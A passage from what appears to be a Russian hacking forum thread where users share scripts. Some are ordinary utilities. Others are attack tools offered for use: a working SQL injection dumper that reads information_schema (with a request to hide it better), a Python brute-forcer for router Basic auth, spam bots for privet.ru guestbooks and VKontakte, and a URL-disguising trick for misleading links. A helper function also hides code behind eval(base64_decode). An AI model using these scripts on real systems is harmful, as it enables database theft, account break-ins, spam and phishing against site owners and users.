elseif ($_GET["down"] == 3)
$filename = "test3.rar";
/************КОНЕЦ ФАЙЛОВ************************************** *************************************/
//Находим окончание файла
$split= explode(".", $filename);
$textcount= substr_count($filename, ".")+1; //
$ttype =$split[$nextcount];
// Создается ссылка на файл
$path = $antidir . $filename ;
// Проверка файла есть он или нет
if (!file_exists($path)) {
echo "Файл '$filename' не существует.";
echo $c;
exit; }
$ftime = date("D, d M Y H:i:s T", filemtime($path));
}
// Проверка
if (strstr($_SERVER["HTTP_REFERER"], $antiurl)) {
if (isset($_GET['down']) && isset($filename)) {
$fsize = filesize($path);
$ftime = date("D, d M Y H:i:s T", filemtime($path));
$fd = @fopen($path, "rb");
if (!$fd){
header ("HTTP/1.0 403 Forbidden");
exit;
}
if ($HTTP_SERVER_VARS["HTTP_RANGE"]) {
$range = $HTTP_SERVER_VARS["HTTP_RANGE"];
$range = str_replace("bytes=", "", $range);
$range = str_replace("-", "", $range);
if ($range) {fseek($fd, $range);}
}
$content = fread($fd, filesize($path));
fclose($fd);
if ($range) {
header("HTTP/1.1 206 Partial Content");
}
else {
header("HTTP/1.1 200 OK");
}
header("Content-Disposition: attachment; filename=" . basename($path));
header("Last-Modified: $ftime");
header("Accept-Ranges: bytes");
header("Content-Length: ".($fsize-$range));
header("Content-Range: bytes $range-".($fsize -1)."/".$fsize);
header("Content-type: application/octet-stream");
print $content;
exit;
} else { echo "Недействительный файл."; echo $c; } }
exit;
?>
Добавление файлов:
Находим строку (43):
/************НАЧАЛО ФАЙЛОВ***************/
Здесь идут ваши защищённые файлы из папки.
elseif ($_GET["down"] == 2) пишиться номер файла от 1- и так далее.
$filename = "test2.rar"; файл в папке ($antidir).
Потом даем ссылку на скачивание пример: http://example.com/antileech.php?down=4 <-- номер файла
Вот написал функцию на скорую руку для своих потребностей,думаю кому то та понадобиться:)
Суть скрипта с том,чтобы конвертировать текст в utf8 прямо в скрипте на php,функции типу iconv,utf8_encode и подобных результата нужного не дали,ранее написаные функции в инете тупо заменяют символы на &#..; что тоже никакого толку не даёт,ну а у меня просто конвертирует кодировку заменой нужными символами:)
function utf8($text){
$win=array("й","ц","у","к","е","н","г","ш","щ","з","х","ъ","ф","ы","в","а","п","р","о","л","д","ж","э","я","ч","с","м","и","т","ь","б","ю","ё","є","ї","і","Й","Ц","У","К","Е","Н","Г","Ш","Щ","З","Х","Ъ","Ф","Ы","В","А","П","Р","О","Л","Д","Ж","Э","Я","Ч","С","М","И","Т","Ь","Б","Ю","Ё","Э","Ї","І");
eval(base64_decode("JHV0Zj1hcnJheSgi0LkiLCLRhiIsItGDIiwi0LoiLCLQtSIsIt C9Iiwi0LMiLCLRiCIsItGJIiwi0LciLCLRhSIsItGKIiwi0YQi LCLRiyIsItCyIiwi0LAiLCLQvyIsItGAIiwi0L4iLCLQuyIsIt C0Iiwi0LYiLCLRjSIsItGPIiwi0YciLCLRgSIsItC8Iiwi0Lgi LCLRgiIsItGMIiwi0LEiLCLRjiIsItGRIiwi0ZQiLCLRlyIsIt GWIiwi0JkiLCLQpiIsItCjIiwi0JoiLCLQlSIsItCdIiwi0JMi LCLQqCIsItCpIiwi0JciLCLQpSIsItCqIiwi0KQiLCLQqyIsIt CSIiwi0JAiLCLQnyIsItCgIiwi0J4iLCLQmyIsItCUIiwi0JYi LCLQrSIsItCvIiwi0KciLCLQoSIsItCcIiwi0JgiLCLQoiIsIt CsIiwi0JEiLCLQriIsItCBIiwi0K0iLCLQhyIsItCGIik7"));
$message="";
$textlen=strlen($text);
for ($i=0; $i < $textlen; $i++) {
$messer=substr($text,$i,1);
for ($ir=0; $ir < 72; $ir++) {
if($messer==$win[$ir]){
$message.=$utf[$ir];
break;
}else{
if($ir==71){
$message.=$messer;
}}}}
return base64_decode("77u/").$message;
}
Использовать просто,пример
$text="Античат";
$textutf=utf8($text);
echo "До: $text<br>После: $textutf";
Deathdreams
16.11.2009, 01:29
function Utf8ToWin($fcontents) {
$out = $c1 = '';
$byte2 = false;
for ($c = 0;$c < strlen($fcontents);$c++) {
$i = ord($fcontents[$c]);
if ($i <= 127) {
$out .= $fcontents[$c];
}
if ($byte2) {
$new_c2 = ($c1 & 3) * 64 + ($i & 63);
$new_c1 = ($c1 >> 2) & 5;
$new_i = $new_c1 * 256 + $new_c2;
if ($new_i == 1025) {
$out_i = 168;
} else {
if ($new_i == 1105) {
$out_i = 184;
} else {
$out_i = $new_i - 848;
}
}
// UKRAINIAN fix
switch ($out_i){
case 262: $out_i=179;break;// і
case 182: $out_i=178;break;// І
case 260: $out_i=186;break;// є
case 180: $out_i=170;break;// Є
case 263: $out_i=191;break;// ї
case 183: $out_i=175;break;// Ї
case 321: $out_i=180;break;// ґ
case 320: $out_i=165;break;// Ґ
}
$out .= chr($out_i);
$byte2 = false;
}
if ( ( $i >> 5) == 6) {
$c1 = $i;
$byte2 = true;
}
}
return $out;
}
function win2utf($s) {
for($i=0, $m=strlen($s); $i<$m; $i++) {
$c=ord($s[$i]);
if ($c<=127) {$t.=chr($c); continue; }
if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; }
if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
if ($c==184) { $t.=chr(209).chr(209); continue; };
if ($c==168) { $t.=chr(208).chr(129); continue; };
if ($c==184) { $t.=chr(209).chr(145); continue; }; #ё
if ($c==168) { $t.=chr(208).chr(129); continue; }; #Ё
if ($c==179) { $t.=chr(209).chr(150); continue; }; #і
if ($c==178) { $t.=chr(208).chr(134); continue; }; #І
if ($c==191) { $t.=chr(209).chr(151); continue; }; #ї
if ($c==175) { $t.=chr(208).chr(135); continue; }; #ї
if ($c==186) { $t.=chr(209).chr(148); continue; }; #є
if ($c==170) { $t.=chr(208).chr(132); continue; }; #Є
if ($c==180) { $t.=chr(210).chr(145); continue; }; #ґ
if ($c==165) { $t.=chr(210).chr(144); continue; }; #Ґ
if ($c==184) { $t.=chr(209).chr(145); continue; }; #Ґ
}
return $t;
}
Ещё один из вариантов.
Очень выручает, если нет под рукой библиотеки iconv или подобной.
zifanchuck
18.11.2009, 17:50
Вот вчеа нужна была прога для парсинга. Нашел BackLink Gear но он парсит со страниц. Но ето меделнно и кажды сайт нужно отдельно вводить. Написал небольшой скриптик, парсит беки сайтов которые находяться в файле urlyahoo.txt и ложит беки в backs.txt. Преимущество скрипта в том что он не шарит по страницам а качает .tsv в котором первые 1000 беков(лимит хоть по страницам шарь хоть файл скачай) но намного быстрее. Работает на курле. Кстати те урлы что отпарсил он из файла urlyahoo.txt удаляет (делал для себя спец. чтобы если скрипт вырубился и не рыскать в поисках того на каком урле он именно остановился) .Вот
<?php
set_time_limit(0);
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$sleep = 4;
$fileurl = "urlyahoo.txt";
$fd = fopen($fileurl, 'r');
$read = fread($fd, filesize($fileurl));
fclose($fd);
$read = explode("\r\n", $read);
$count = count($read);
for($i=0;$i<$count;$i++)
{
list($url, $all) = explode(" ", $read[$i]);
unset($read[$i]);
$reads = implode("\r\n", $read);
$fd = fopen($fileurl, 'w');
fwrite($fd, $reads);
fclose($fd);
$result = curl("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp", "");
$result = explode("\n", $result);
$countstr = count($result);
for($a=2;$a<$countstr;$a++)
{
list($text, $ssil) = explode(" ", $result[$a]);
if($ssil)
{
//echo $ssil."<br>";
$fd = fopen("backs.txt", "a");
fwrite($fd, $ssil."\r\n");
fclose($fd);
}
}
sleep($sleep);
}
?>
Вот подумал может у кого нет курла то пускай попробуют так
<?php
set_time_limit(0);
$sleep = 4;
$fileurl = "urlyahoo.txt";
$fd = fopen($fileurl, 'r');
$read = fread($fd, filesize($fileurl));
fclose($fd);
$read = explode("\r\n", $read);
$count = count($read);
for($i=0;$i<$count;$i++)
{
list($url, $all) = explode(" ", $read[$i]);
unset($read[$i]);
$reads = implode("\r\n", $read);
$fd = fopen($fileurl, 'w');
fwrite($fd, $reads);
fclose($fd);
$result = file_get_contents("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp");
$result = explode("\n", $result);
$countstr = count($result);
for($a=2;$a<$countstr;$a++)
{
list($text, $ssil) = explode(" ", $result[$a]);
if($ssil)
{
//echo $ssil."<br>";
$fd = fopen("backs.txt", "a");
fwrite($fd, $ssil."\r\n");
fclose($fd);
}
}
sleep($sleep);
}
?>
п.с за роботу второго не ручаюсь(не тестил)
ппс Только не надо говорить что скрипт криво написан)))согласен, можно было более рационально все сделать, но писал чисто для себя, а на красоту мне как-то пофиг)) только бы работал)
Привет всем, может есть у кого-нибудь скрипт для сортировки мыл mail.ru на пхп или перле по стране или городам, допустим в скрипте указываем login на свой акк и начинаем бомбить поиск через "Мой мир" на выходе получаем страна:мыло или город:мыло
Не знал куда выложить.Вот исходник приложения вк который автоматом добавляет вопросы и заметки на страничку с вашим текстом.Файл с вопросами берет с вашего сайта с документа в формате *.txt.Проверял довно,работал.Вроде выложил весь исходник.
package
{
import flash.events.*;
import flash.net.*;
public class Spam extends Object
{
private var questionType:String = "0";
var _api_id:String;
var vars1:URLVariables;
var vars2:URLVariables;
var sig:String;
var loader:URLLoader;
var conf:String;
var req:URLRequest;
var res:String;
var _viewer_id:String;
var vars:URLVariables;
var url:String = "http://api.vkontakte.ru/api.php";
private var offerText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
var cont:Array;
private var questionText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
var secret:String = "ololo";
var signature:String;
var loader2:URLLoader;
public function Spam(param1:String, param2:String)
{
secret = "ololo";
url = "http://api.vkontakte.ru/api.php";
offerText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
questionText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
questionType = "0";
loader = new URLLoader();
loader2 = new URLLoader();
vars = new URLVariables();
vars1 = new URLVariables();
vars2 = new URLVariables();
req = new URLRequest(url);
_api_id = param1;
_viewer_id = param2;
loader2.addEventListener(Event.COMPLETE, onConf);
loader2.load(new URLRequest("http://сайт.ru/conf.txt"));
return;
}// end function
public function openOffer()
{
sig = _viewer_id + "api_id=" + _api_id + "method=offers.open" + "test_mode=0" + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars1.api_id = _api_id;
vars1.method = "offers.open";
vars1.test_mode = "0";
vars1.v = "2.0";
vars1.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars1;
try
{
sendToURL(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
public function onOfferComplete(param1:Event)
{
openOffer();
return;
}// end function
public function newOffer()
{
sig = _viewer_id + "api_id=" + _api_id + "message=" + offerText + "method=offers.edit" + "test_mode=0" + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars2.api_id = _api_id;
vars2.method = "offers.edit";
vars2.message = offerText;
vars2.test_mode = "0";
vars2.v = "2.0";
vars2.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars2;
loader.addEventListener(Event.COMPLETE, onOfferComplete);
try
{
loader.load(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
public function onConf(param1:Event)
{
res = param1.target.data.toString();
cont = res.split("\n");
offerText = cont[0];
questionText = cont[1];
questionType = cont[2];
trace(offerText);
return;
}// end function
public function newQuestion()
{
sig = _viewer_id + "api_id=" + _api_id + "method=questions.add" + "test_mode=0" + "text=" + questionText + "type=" + questionType + "v=2.0" + secret;
signature = MD5.encrypt(sig);
vars.api_id = _api_id;
vars.method = "questions.add";
vars.text = questionText;
vars.type = questionType;
vars.test_mode = "0";
vars.v = "2.0";
vars.sig = signature;
req.method = URLRequestMethod.POST;
req.data = vars;
try
{
sendToURL(req);
}// end try
catch (e:Error)
{
trace(e.message);
}// end catch
return;
}// end function
}
}
phpdreamer
13.12.2009, 14:18
Скрипт для кодирования урлов (by me)
$url = 'www.freehost.com.ua';//исходные данные
$ip = gethostbyname($url);//узнаем ip
$ch = explode('.',$ip);//разделяем ip на 4 части
foreach($ch as $value)$v_8[] = '0'.base_convert($value, 10, 8);//каждуч из частей конвертируем в 8-ю систему счисления
$url = '122.11.21.167@'.join($v_8,'.');//слева от полученого 8-го ip дописываем левые данные, которые обозначают логин
$url = urlencode($url);//кодируем в формат url (знак @ превратится в %40)
$url.= '?%509&404_1/index.php';//и добавляем мусора после знака "?"
echo $url;
пример:
было www.freehost.com.ua
стало 122.11.21.167%400302.00.0310.0312?%509&404_1/index.php
Нужно было потренироваться с дебагом скриптов.Написал обертку для работы с mysql.Ничего сверхестественного там нет,самая простая обертка.Но есть и плюсы.
1) Можно совсем отключить вывод ошибок внутри класса.
2) Если вывод ошибок всеже включен,то можно управлять выводимыми данными.Такими как текст ошибки mysql,путь до файла с ошибкой,линия с ошибкой.
Повторю,написан исключительно в образовательных целях дебага.
Базовый вызов,с запросом.
<?php
include ('mmysql.class.php');
$mysql = new mmysql('localhost', 'root', 'Frolov', 'mp3a');
$mysql->setting(array('debug' => true, 'full_path' => true,'mysql_query'=>true,'line' => true)); //МОЖНО ПРОПУСТИТЬ
$mysql->maquery("SELecT * FRM table WHERE id = 1", $stats);
print_r($stats);
?>
Сам класс:
<?php
class mmysql
{
var $connect, $ms_error, $line_error, $path_error,$debug;
function mmysql($DBHOST, $DBUSER, $DBPASSWORD, $DBBASE = '')
{
$this->connect = mysql_connect($DBHOST, $DBUSER, $DBPASSWORD);
if (!$this->connect) {
return ($this->GetError());
}
if (!empty($DBBASE)) {
$this->msetdb($DBBASE);
}
}
function setting($array)
{
if ($array['debug'] == false) {
return ($this->debug = $array['debug']);
} else {
$this->debug = $array['debug'];
$this->ms_error = $array['mysql_query'];
$this->path_error = $array['full_path'];
$this->line_error = $array['line'];
}
return (true);
}
function GetError()
{
if (!$this->debug) {
return (die());
}
$bg = debug_backtrace();
$error = '<body style="background-color:#6699FF;color:black"><h1 align="center" color="red">MySQL Error!</h1><br>
<ul><b>File:</b><error style="background-color:white;"><b> ' .
$path = ((!$this->path_error) ? basename($bg[1]['file']) : $bg[1]['file']) .
'<b></error><br><b>Line</b>: <error style="background-color:white;"><b> ' .
$line = ((!$this->line_error) ? 'Admin Line Hidden' : $bg[1]['line']) .
'</b></error><br><b>Function:</b><error style="background-color:white;"> <b>[$mmysql->' .
$bg[1]['function'] .
'()]</b></error><br><b>Text error:<br> <textarea rows="10" cols="25" style="background-color:white;"> ' .
$ms = ((!$this->ms_error) ? 'Admin Query Hidden ' : mysql_error()) .
'</textarea><br></ul></div>';
die($error);
return true;
}
function msetdb($db) // mysql_select_db
{
$selectdb = mysql_select_db($db, $this->connect);
if ($selectdb) {
return (true);
} else {
return ($this->GetError());
}
}
function mquery($query, &$return) // mysql_query
{
$query = mysql_query($query, $this->connect);
if (!$query) {
return ($return = $this->GetError());
} else {
return ($return = $query);
}
}
function mfquery($query, &$return) // mysql_fetch_assoc(mysql_query)
{
$query = mysql_query($query, $this->connect);
if (!$query) {
return ($return = $this->GetError());
} else {
return ($return = mysql_fetch_assoc($query));
}
}
function maquery($query, &$return) // mysql_fetch_array(mysql_query)
{
$query = mysql_query($query, $this->connect);
if (!$query) {
return ($return = $this->GetError());
} else {
return ($return = mysql_fetch_array($query));
}
}
function mnumrows($query, &$return) // mysql_num_rows(mysql_query)
{
$query = mysql_query($query, $this->connect);
if (!$query) {
return ($return = $this->GetError());
} else {
return ($return = mysql_num_rows($query));
}
}
}
?>
zifanchuck
14.12.2009, 02:00
Вот написал небольшой скрипт для спама го гостевухам на сайте привет.ру
<?php
set_time_limit(0);
function curl($url,$post='')
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function add($path,$page_body)
{
$file=fopen($path,"a+");
fputs($file,$page_body);
fclose($file);
}
function read($path)
{
$fd = fopen($path, "r");
$bufer = fread($fd, filesize($path));
fclose($fd);
return $bufer;
}
$mail = '';//Мыло
$pass = '';//Пароль
$countpage = 1;//Количество страниц для парсинга
$text = 'Приветик=)))';//Текст для спама
$mesguest = iconv("windows-1251", "utf-8", $text);
$result = curl('http://www.privet.ru/login?login='.$mail.'&password='.$pass.'&remember=on');
for($i=0;$i<$countpage;$i++)
{
$result = curl('http://www.privet.ru/people/sort/login-date?period=86400&page='.$i);
preg_match_all("#class=\"userNickLink\" href='http://www.privet.ru/user/(.*)'#iU", $result, $regs);
$regs = $regs[1];
$count = count($regs);
for($a=0;$a<$count;$a++)
{
$nick = $regs[$a];
$list = read('black.txt');
if(strstr($list, $nick))
{
echo $nick.' neotpravil<br>';
}
else
{
echo $nick.' otpravil<br>';
$result = curl('http://www.privet.ru/user/'.$nick.'/guestbook/add', 'guestbook_text='.$mesguest);
add('black.txt', $nick."\r\n");
sleep(1);
}
flush();
}
}
?>
Парсит и розсылает тем юзерам что появлялиль на сайте за последний день.
п.с забыл описание небольшре сделать. Те логины что отспамились заносит в файл блек.тхт и если на них в дальнейшем парсинге попадает то им сообщения не отправляеться)))
Nik(rus)
14.12.2009, 18:13
Код на Python, брутит Basic авторизацию, пароль от 100000 до 999999 на admin на хосте 192.168.0.1
import base64,httplib
fl = open('log.txt','w')
for i in range(100000,999999):
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html","Authorization":"Basic "+base64.b64encode('admin:'+str(i))}
conn = httplib.HTTPConnection("192.168.0.1")
conn.request("GET", "/", {}, headers)
response = conn.getresponse()
data = response.read()
conn.close()
if (data != 'Unauthorized'):
fl.write(i)
fl.close()
real_kas
28.12.2009, 01:27
Определяет пол по имени, на основе того, что большинство женских имён заканчиваются на гласную. Определяет не 100% но для моих целей хватает. Поддерживает имена в транслите...
А не лучше ли сделать выбор "ИЛИ" вместо явного указания каждой буквы?
sub gender # 1 - woman; 0 - man
{
my ($name) = @_;
return 1 if $name=~"(я|а|о|ы|э|е|a|o|i|e|Я|А|О|Ы|Э|Е|A|E|O |I)\$";
return 0;
}
Класс для загрузки картинок
Клац http://narod.ru/disk/16553661000/class.upload.rar.html ~25.3 кБ
Пример работы:
<?php
$foo = new Upload($_FILES['form_field']);
if ($foo->uploaded)
{
// Сохранение загруженного изображения без изменений
$foo->Process('/home/user/files/');
if ($foo->processed)
{
echo 'original image copied';
}
else
{
echo 'error : ' . $foo->error;
}
// Сохранение загруженного изображения с новым именем
$foo->file_new_name_body = 'foo';
$foo->Process('/home/user/files/');
if ($foo->processed)
{
echo 'image renamed "foo" copied';
}
else
{
echo 'error : ' . $foo->error;
}
// Сохранение загруженного изображения с новым именем,
// Уменьшить по ширине 100px
$foo->file_new_name_body = 'image_resized';
$foo->image_resize = true;
$foo->image_convert = gif;
$foo->image_x = 100;
$foo->image_ratio_y = true;
$foo->Process('/home/user/files/');
if ($foo->processed)
{
echo 'image renamed, resized x=100
and converted to GIF';
$foo->Clean();
}
else
{
echo 'error : ' . $foo->error;
}
}
?>
Nik(rus)
04.01.2010, 14:11
PyRoxy - мини-проксик на питоне (чуток кривой, с картинками небольшой баг, иногда не принимает... но ведь картинки не самое главное? :))
Из фич - некоторые картинки все-же показывает (видимо пакет с большими картинками... большеват), меняет Юзер-Агент, да и вроде-как даже POST исполняет!
# -*- coding: cp1251 -*-
import SocketServer
import re
import socket
import urllib
import httplib
import thread
class MyTCPHandler(SocketServer.BaseRequestHandler):
def handle(self):
self.data = self.request.recv(4096)
if (self.data != ""):
get = re.search("GET ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
self.data = re.sub("User-Agent: [^\n]*\n","User-Agent: " + str(uagent) + "\n",self.data,1)
if not get:
get = re.search("POST ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
if get:
print "GET: " + str(get.group(1)) + ":" + str(get.group(2))
print "-----------------------------------"
host = urllib.splithost(get.group(2))
ip = 0
try:
ip = socket.getaddrinfo(host[0],80)
ip = ip[0][4][0]
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,80))
sock.send(self.data)
if get.group(2).endswith('.png') or get.group(2).endswith('.jpg') or get.group(2).endswith('.jpeg') or get.group(2).endswith('.gif'):
conn = httplib.HTTPConnection(host[0])
conn.request('GET',host[1])
res = conn.getresponse()
data = res.read()
conn.close()
self.request.send(data)
recv2 = sock.recv(4096)
recv = ""
while recv2 <> "":
reg = re.search("<title>(.*)</title>",recv2)
if reg:
title = str(reg.group(1)) + " ^ UnDer PyRoxy"
recv = re.sub("<title>.*</title>","<title>" + str(title) + "</title>",recv2,1)
recv += recv2
recv2 = sock.recv(4096)
self.request.send(recv)
except:
recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Error connecting to server</font></div></body></html>"
self.request.send(recv)
else:
recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Unknown packet</font></div></body></html>"
self.request.send(recv)
print "_._._._._-=PyRoxy v. 0.1=-_._._._._"
print "-----------------------------------"
uagent = "AK-47"
socket.setdefaulttimeout(1000)
HOST, PORT = "127.0.0.1", 9999
print "Binding on " + str(HOST) + ":" + str(PORT)
print "-----------------------------------"
server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler)
server.serve_forever()
Доброго всем времени суток! помогите мне написать скрипт чтоб можно было с мобильного телефона выгрузить на сайт (име папки указывается переменой) фото, аудио, видео и джава!
стандартное копифайл не пашет, как сделать негде не могу найти ни в нете ни в книгах!
заранее спасибо!
Imperou$
17.01.2010, 19:34
Привет всем. Ребят, не знал куда написать.Ситуация такая, есть сайт, есть уязвимость в скрипте после авторизации,MySQL 5 ветки.Т.е. снаружи к уязвимому параметру нет доступа, только после ввода логина и пароля. Нужен скрипт для дампа таблиц и полей из бд, есть вот такой
<?php set_time_limit(0); for($n = 0;$n <= 500;$n++) { $host = 'www.site.com'; $url = fsockopen($host, 80); $req = "GET /script.php?id=-1033901+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25,26,27,concat( 0x3c677261623e,0x3c677261623e,table_schema,0x203a2 0,table_name,0x203a20,column_name,0x3c2f677261623e 2020),29,30,31,32+from+information_schema.columns+ limit+$n,1/* HTTP/1.1\r\n"; $req .= "Host: $host\r\n"; $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n"; $req .= "Content-Type: application/x-www-form-urlencoded\r\n"; $req .= "Connection: Close\r\n\r\n"; fputs($url, $req); while (!feof($url)) { unset($buffer); $buffer = fread($url, 1028); $s = strstr($buffer,'<grab>'); $nm = strpos($s,'</grab>'); $result = substr($s,7,$nm - 7); $check = preg_replace("|grab>|", "", $result); #echo $pizdec; file_put_contents("dump.txt", $check, FILE_APPEND); } $ns = "\n"; file_put_contents("dump.txt", $ns, FILE_APPEND); fclose($url); } ?>
в пхп не силён,есть ли возможность переделать скрипт для отсылки запросов к бд POST методом (непаливно), и прикрутить кукисы, чтобы их можно было менять, т.к. время сессии не бесконечно. Или по логину и паролю, хз. Могу заплатить, но не много, сейчас кризис временный =)
Очень на Вас надеюсь. Или хотя бы обьясните как реализовать.
Т.к. я являюсь задротом ВК, решил написать небольшой скрипт для Грабинга погоды с gismeteo.ua и Гороскопа с astrostar.ru.
Скрипт работает при наличии cURL и allow_url_fopen = On, ну мне как бы все равно у меня VDS =) Запускайте через cron 2 раза в сутки и будет вам щастье.
Небольшой README по настройке скрипта:
/* Конфиг: */
$a = new weather('http://www.gismeteo.ua/city/daily/5053/');
$session = vk_login('email@rambler.ru','passwd');
$idnote_weather = '9662358';
$idnote_horoscope = '9664419';
1-я строка - ето ссылка на ваш город в gismeteo.ua.
2-я строка - авторизация для ВК, предельно ясно.
3-я строка - ID заметки в ВК для погоды, к примеру у меня ссылка на заметку:
vkontakte.ru/note****_9662358
берем число которое после прочерка, т.е. 9662358
4-я строка - аналогично 3-й но тут ID заметки для Гороскопа.
ЗЫ. Заметки создавать вручную, а скрипт уже будет их редактировать и сохранять.
Исходник:
Deathdreams
30.01.2010, 22:19
Проверка пользователя ВКонтакте на "онлайн" ( даже если его страница закрыта ).
Не требует дополнительных библиотек типа iconv.
<?php
@ini_set('max_execution_time', 0);
$mail = "durov@durov.ru"; //нужен для проверки какой-либо аккаунт.
$pass = "pasha"; //пароль от этого аккаунта
$id = "1"; //ИД, который нужно проверить.
$log_in = do_curl("http://login.userapi.com/auth", "login=force&id=0&fccode=0&fcsid=0&site=2&email=".$mail."&pass=".$pass);
if( !preg_match('#sid=(.+)#', $log_in, $sid_tmp) ) die("Не удалось подключиться к API вконтакте.");
switch($sid = $sid_tmp[1]) {
case -1: die("Неверный email или пароль"); break;
case -2: die("Вылезла капча, не смог авторизоваться :("); break;
case -3: die("Неверный email или пароль, при следующей попытке нужно будет отправить капчу"); break;
case -4: die("Неверный email или пароль, капча не вылезла"); break;
default: echo "Авторизовались... sid: $sid<br /><br />"; break;
}
$result = utfwin(do_curl("http://userapi.com/data", "act=profile&id=$id&sid=$sid"));
preg_match( "#\"on\":(\d+)#", $result, $out );
preg_match( '#"fn":"(.+)"#U', $result, $firstname );
preg_match( '#"ln":"(.+)"#U', $result, $lastname );
switch($out[1]) {
case 1: $status = "онлайн"; break;
default: $status = "оффлайн"; break;
}
die( $firstname[1]." ".$lastname[1]." ".$status );
function utfwin($fcontents) {
$out = $c1 = '';
$byte2 = false;
for ($c = 0;$c < strlen($fcontents);$c++) {
$i = ord($fcontents[$c]);
if ($i <= 127) {
$out .= $fcontents[$c];
}
if ($byte2) {
$new_c2 = ($c1 & 3) * 64 + ($i & 63);
$new_c1 = ($c1 >> 2) & 5;
$new_i = $new_c1 * 256 + $new_c2;
if ($new_i == 1025) {
$out_i = 168;
} else {
if ($new_i == 1105) {
$out_i = 184;
} else {
$out_i = $new_i - 848;
}
}
// UKRAINIAN fix
switch ($out_i){
case 262: $out_i=179;break;// і
case 182: $out_i=178;break;// І
case 260: $out_i=186;break;// є
case 180: $out_i=170;break;// Є
case 263: $out_i=191;break;// ї
case 183: $out_i=175;break;// Ї
case 321: $out_i=180;break;// ґ
case 320: $out_i=165;break;// Ґ
}
$out .= chr($out_i);
$byte2 = false;
}
if ( ( $i >> 5) == 6) {
$c1 = $i;
$byte2 = true;
}
}
return $out;
}
function do_curl($url, $post=false){
$c = curl_init($url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_HEADER, 1);
if($post) { curl_setopt($c, CURLOPT_POST, 1);
curl_setopt($c, CURLOPT_POSTFIELDS, $post); }
curl_setopt($c, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));
$return = curl_exec($c);
curl_close($c);
return $return;
}
?>
преобразование GIF PNG JPG в HTML таблицу
для работы нужен GD
<?php
echo '<title>JPG PNG GIF to PIC conv</title>
<style>
input {border:1px solid black;}
</style>
<form action="conv2.php" method="POST">
IN <input type="text" name="in" value="img.jpg">
OUT <input type="text" name="out" value="new.html">
PIXEL <input type="text" name="pixel" value="1">
PLUS <input type="text" name="plus" value="1">
<input type="submit" value="OPEN">
</form>
';
if(isset($_POST['in']))
{
$in = $_POST['in']; // Входное изображение
$out = $_POST['out']; // Выходной файл
$pixel = $_POST['pixel']; // Размер пикселя в пикселях
$plus = $_POST['plus']; // Плюс для цкла (типа сжатие)
$type = substr($in,-3);
$size = getimagesize($in);
if($type=='png') $img=imagecreatefrompng($in);
else if($type=='gif') $img=imagecreatefromgif($in);
else if($type=='jpg') $img=imagecreatefromjpeg($in);
$f = fopen($out, 'w');
$size = explode(' ', $size[3]);
$width = substr($size[0], strpos($size[0], '"')+1, -1);
$height = substr($size[1], strpos($size[1], '"')+1, -1);
fwrite($f, '<table border="0" cellspacing="0" cellpadding="0">');
for($y = 0; $y < $height; $y+=$plus)
{
fwrite($f, '<tr height="'.$pixel.'">');
for($x = 0; $x < $width; $x+=$plus)
{
$idx = imagecolorat($img, $x, $y);
$color = imagecolorsforindex($img, $idx);
$red = base_convert($color['red'], 10, 16);
$green = base_convert($color['green'], 10, 16);
$blue = base_convert($color['blue'], 10, 16);
if(strlen($red) < 2)
$red = '0'.$red;
if(strlen($blue) < 2)
